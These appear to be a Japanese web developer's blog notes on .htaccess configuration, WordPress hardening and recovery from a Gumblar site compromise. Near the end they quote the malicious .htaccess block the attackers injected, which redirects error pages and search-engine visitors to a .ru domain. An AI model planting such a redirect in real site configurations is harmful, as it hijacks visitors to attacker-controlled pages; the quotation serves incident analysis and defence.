CPIの暗号方式はMD5 SHAなのでよくある生成サービスサイトから作成することができません。

コントロールパネルでも生成できるみたいですが面倒なのでコマンドで作ります。

こんな感じで生成

$ htpasswd -nbm username password

この書き方だと下の階層までのURLを継承したまま「wwwあり」に統一できます。

※下の階層までのURLを継承したまま、というのがミソ。

RewriteEngine on
RewriteCond %{HTTP_HOST} ^(○○○○\.jp)(:80)?
RewriteRule ^(.*) http://www.○○○○.jp/$1 [R=301,L]

1.「/user_data/」ディレクトリ排除

URLの「/user_data/」ディレクトリを排除するだけなら

.htaccessの記述

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([a-z0-9\-\_\.]+).php user_data/$1.php [L]

結果例

2.任意のディレクトリ直下にあるように見せかける

URLの「/user_data/」ディレクトリを排除しつつ拡張子.phpを「/」に変えて、
任意のディレクトリ直下にある様に見せかける

.htaccessの記述

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([a-z0-9\-\_\.]+)/ user_data/$1.php [L]

結果例

ご注意

任意のディレクトリ直下にある様に見せかける場合には、
/products/、/cart/ 、/contact/ 、/abouts/、/order/、/guide/ 、/admin/ 等、
あらかじめ予約されているディレクトリ名は使わない様にしましょう。

また、正規表現で『 [a-z0-9\-\_\.] 』としていますが、
これはファイル名に「半角英数字」の他に「ハイフン（-）」「アンダーバー（_）」「ドット（.）」も認識する、
という事を意味しています。

症状

対策

固定IPが望ましいが、日本国内からしかアクセスを許可しないようにするだけでも、多少なりともハッキング対策にはなる。

参考サイト

• .htaccessで国内限定ページ｜onair.jp さま
• 日本国外からのアクセスを制限する.htaccess｜cgis.biz さま

wordpressのセキュリティレベルを少しでもを上げる為に、インストール前に確認しておきたいこと。
特にDBのプレフィックスなど後から変更しにくいものもあるので事前に意識しておく。

何れも“気休め”程度にしかならないかも知れない。
しかし1%でもセキュリティレベルが上がれば…と願いつつ。

確認項目

1.インストール時に気をつけること

1. 必ず最新のwordpressで構築する（※1）
2. DBのプレフィックス（Prefix）をデフォルトの「wp_」から乱数などに変更する
3. 管理者名を「admin」のままにしない
4. 管理者パスワードは乱数などの「複雑なもの」にする

※1：
使い慣れた、または有用なプラグインが最新バージョンに対応していないので最新版が使えない…といった場合もあるが、極力最新版を使う様に心がけたい

2.インストール直後に行っておくこと

1. /wp-admin ディレクトリ直下に ベーシック認証（.htaccess/.htpasswd）を設定する
2. /wp-config.php にセキュリティキーを設定する
3. /wp-config.php や /.htaccess はパーミッションを444（Read Only）にしておく
4. セキュリティ関連のプラグイン『Secure WordPress』等を入れておく（下記参照）
5. プラグイン『Akismet』を有効にしておく（WordPress.comでAPI keyを取得する）
6. デフォルトのサンプル固定ページとコメントは削除（メッセンジャー云々、ゴッサム云々、という固定ページ….）

3.運用中に行うこと、心がけること

1. 可能な限り新しいバージョンのWordPressを更新しつづける
2. 定期的にDBやwordpress本体のバックアップを取っておく
3. プラグイン『admin-ip-watcher』から送られてくるメールを注視する

4.その他（ガンプラー対策も含めて）

1. FTP接続ではなく、FTPS（FTP-SSL ）やSFTPで接続する
2. FTPクライアント『FFFTP』は使用しない（SFTPに対応していない、また攻撃されやすい為）
3. 可能な限りWindows以外のOSで作業する（ウィルスに感染しにくい為）

もしファイル改ざんされてしまったら、真っ先に行う事

まず発見した時点で

1. 解決する迄、一時的にサイトをクローズする（訪問者に被害が及ぶ可能性が高い為）

次に

1. WordPressを最新のバージョンにアップデートする
2. プラグイン等の関係でアップデートが無理ならばgrep等で「base64」というキーワードでwordpress全体を検索し該当箇所を潰す。htmlファイルには妙なJSが埋め込まれていることがある。.htaccessにも妙な埋め込みもある。他にphp自体の改ざん等いろいろある。。。。）
3. 管理画面などのパスワードを変更する

wordpressセキュリティに関する、有益なサイト

• パスワード・乱数 自動生成
• WordPress.org の秘密鍵サービス。wordpress、wp-config.php のセキュリティキー生成
• 簡単な作業でWordPressのセキュリティをアップするチップス｜コリス
• WordPressのセキュリティをアップする11のポイント｜コリス
• WordPress.comでAPI key
• WordPressのセキュリティ対応で行ったこと（プラグイン5個+アクセス制御）｜適宜覚書-Fragments

厳密ではなく簡易的に、かつ簡単に実装したい場合。

記述例（1）

まとめて記述

#RewriteEngineを有効にする
RewriteEngine on

#↓ユーザエージェントからを見てそれぞれのページへ
#携帯
RewriteCond %{HTTP_USER_AGENT} ^DoCoMo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^KDDI [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Up.Browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^J-PHONE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^vodafone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SoftBank [NC]
RewriteRule ^.*$ http://*****.***/mobile/ [L]

#アップル
RewriteCond %{HTTP_USER_AGENT} ^iPod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^iPhone [NC]
RewriteRule ^.*$ http://*****.***/iphone/ [L]

#アンドロイド
RewriteCond %{HTTP_USER_AGENT} ^Android [NC]
RewriteRule ^.*$ http://*****.***/android/ [L]

記述例（2）

一つ一つ分けて記述

# Options -Indexes
# < IfModule mod_rewrite.c>

# DoCoMo
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} DoCoMo
RewriteRule ^$ /smp/ [R]

# Softbank
RewriteCond %{HTTP_USER_AGENT} J-PHONE
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} Vodafone
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} SoftBank
RewriteRule ^$ /smp/ [R]

# AU KDDI
RewriteCond %{HTTP_USER_AGENT} KDDI
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} UP.Browser
RewriteRule ^$ /smp/ [R]

# DDI Pocket
RewriteCond %{HTTP_USER_AGENT} DDIPOCKET
RewriteRule ^$ /smp/ [R]

# WILLCOM
RewriteCond %{HTTP_USER_AGENT} WILLCOM
RewriteRule ^$ /smp/ [R]

# iPod
RewriteCond %{HTTP_USER_AGENT} iPod
RewriteRule ^$ /smp/ [R]

# iPhone
RewriteCond %{HTTP_USER_AGENT} iPhone
RewriteRule ^$ /smp/ [R]

# Android
RewriteCond %{HTTP_USER_AGENT} Android
RewriteRule ^$ /smp/ [R]

# WILLCOM
RewriteCond %{HTTP_USER_AGENT} PDA
RewriteRule ^$ /smp/ [R]

# IE
# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} MSIE
# RewriteRule ^$ /msie/ [R]

# PC Internet Explorer Firefox
# RewriteCond %{HTTP_USER_AGENT} Mozilla
# RewriteRule ^$ / [R]

# PC Opera
# RewriteCond %{HTTP_USER_AGENT} Opera
# RewriteRule ^$ / [R]

# Mac Safari
# RewriteCond %{HTTP_USER_AGENT} Safari
# RewriteRule ^$ / [R]
# < /IfModule>

FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。

改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。

ということは、

FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
（FTPクライアントはCyberduckとTransmitの併用。）

さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。

確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。

応急処置として、
他の方には面倒をかけるが（固定IPで無い為設定できない）、
現在はIP制限を行い、アクセス後毎度PWを変更している。

この処置により、事態は収束したようにも見える。

他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。

環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。

ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。

本来アカウント管理は自分では無いのだが、そうも言っていられない。

事態は深刻なのだ。

参考

・【注意喚起】Gumblar（ガンブラー）ウイルスによる新たなホームページ改ざん被害を確認｜株式会社ラック
・ガンブラー対策「.htaccess」にも注意！｜セキュリティーブログ
・Gumblar/8080系ウィルスのサイト運営者向け対策サイト

追記された記述の例

下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。

RewriteEngine On
ErrorDocument 400 http://（ドメイン名）.ru/force/index.php
ErrorDocument 401 http://（ドメイン名）.ru/force/index.php
ErrorDocument 403 http://（ドメイン名）.ru/force/index.php
ErrorDocument 404 http://（ドメイン名）.ru/force/index.php
ErrorDocument 500 http://（ドメイン名）.ru/force/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://（ドメイン名）.ru/force/index.php [R=301,L]

など…………….

エラー画面を任意のファイルで表示させる

エラーの種類によって振り分ける場合

ErrorDocument 500 /common/errors/internal_server_error.php
ErrorDocument 404 /common/errors/not_found.php
ErrorDocument 403 /common/errors/forbidden.php
ErrorDocument 401 /common/errors/un_authorized.php
ErrorDocument 400 /common/errors/bad_request.php

htcファイルを認識させる

IE6のPNG対策などでhtcファイルを用いる際に、サーバーによっては正常に動作しない場合がある、そんな時のおまじない。

AddType text/x-component .htc

ファイルをダウンロードさせる

PDFファイルはブラウザでも開けます。しかしxls、doc、ppt等と交える場合、見せ方を統一してあげる必要があります。

<Files *.pdf>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>
<Files *.ppt>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>
<Files *.xls>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>
<Files *.doc>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>

<FilesMatch "\.(pdf|ppt|xls|doc)$">
AddType application/adobe .pdf
AddType application/microsoft .xls .doc .ppt
Header set content-disposition attachment
</FilesMatch>

SSLの為だとは思いますが、EC-CUBEではwwwの有り無しで購入出来なくなる、
といった問題があるので「301リダイレクト」を用いて解決します。
（※これに限らずURLは統一を心がけましょう。）

www無しに統一する例

RewriteEngine on
RewriteCond %{HTTP_HOST} ^www\.phono\.co\.jp
RewriteRule (.*) http://phono.co.jp/$1 [R=301,L]

www有りに統一する例

RewriteEngine on
RewriteCond %{HTTP_HOST} ^\phono\.co\.jp
RewriteRule (.*) http://www.phono.co.jp/$1 [R=301,L]